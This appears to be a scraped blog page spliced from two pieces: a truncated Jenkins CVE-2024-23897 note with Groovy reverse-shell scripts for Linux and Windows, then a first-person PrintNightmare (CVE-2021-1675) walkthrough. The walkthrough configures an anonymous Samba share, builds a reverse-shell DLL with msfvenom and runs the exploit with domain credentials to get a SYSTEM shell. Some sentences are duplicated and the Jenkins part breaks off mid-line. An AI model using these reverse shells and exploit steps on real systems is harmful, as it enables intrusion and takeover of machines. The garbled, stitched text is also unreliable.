Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
I am not an exploit developer but was interested to see how this vulnerability can be exploited. So i tried to replicate the infamous PrintNightmare vulnerability using the following PoCs (https://github.com/cube0x0/CVE-2021-1675) and (https://github.com/rapid7/metasploit-framework/pull/15385)
However i had trouble with the new metasploit module (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare) and i couldn't able to exploit the machine successfully.
So i tried the second PoC from cube0x0. This one has done the magic. I just followed the guidelines with couple of tweaks.
First of all, i installed the impacket (cube0x0 version) which will install the required modules and files.
After that i set up a samba share with an anonymous login. This is required for hosting the dll file. I edited the smb.conf with the following settings.
So i tried the second PoC from cube0x0. This one has done the magic. I just followed the guidelines with couple of tweaks.
First of all, i installed the impacket (cube0x0 version) which will install the required modules and files.
After that i set up a samba share with an anonymous login. This is required for hosting the dll file. I edited the smb.conf with the following settings.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[public]
comment = Samba
path = /var/public
guest ok = yes
read only = no
browsable = yes
force user = root
Then i created the dll which is required to perform the exploit.The dll file is further called remotely while we execute our exploit script.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll
I then placed the newly created dll file (rev.dll) to the smb location (/var/public). Also set up a netcat listener for facilitating the reverse connection.
Then i used the exploit to perform the PoC using a low privileged domain user.
Then i used the exploit to perform the PoC using a low privileged domain user.
#python3 CVE-2021-1675.py jaacostan.local/bob:Pass123@192.168.0.251 '\\192.168.0.106\\public\\rev.dll'
And that's it, i got the reverse-shell with the elevated privileges (nt authority\system).
Note that, you can also host the DLL on a CIFS share (if using windows). For that, set up a CIFS share with anonymous login on your windows machine and you might also need to enable SMBv2 support.
There are other PoC available in GitHub, that demonstrates the same from a Local Privilege Escalation PoV instead of RCE. If you are interested to learn/research more, you may check this https://github.com/calebstewart/CVE-2021-1675
I found the following image in my twitter feed. This make sense of the vulnerability and it's impact.
Image Source : Twitter feed. Full credits to the image owners (Outflank/Stan Hegt) as mentioned in the image.
Reference and courtesy:-
- https://github.com/cube0x0/CVE-2021-1675
- https://github.com/rapid7/metasploit-framework/pull/15385
- https://github.com/calebstewart/CVE-2021-1675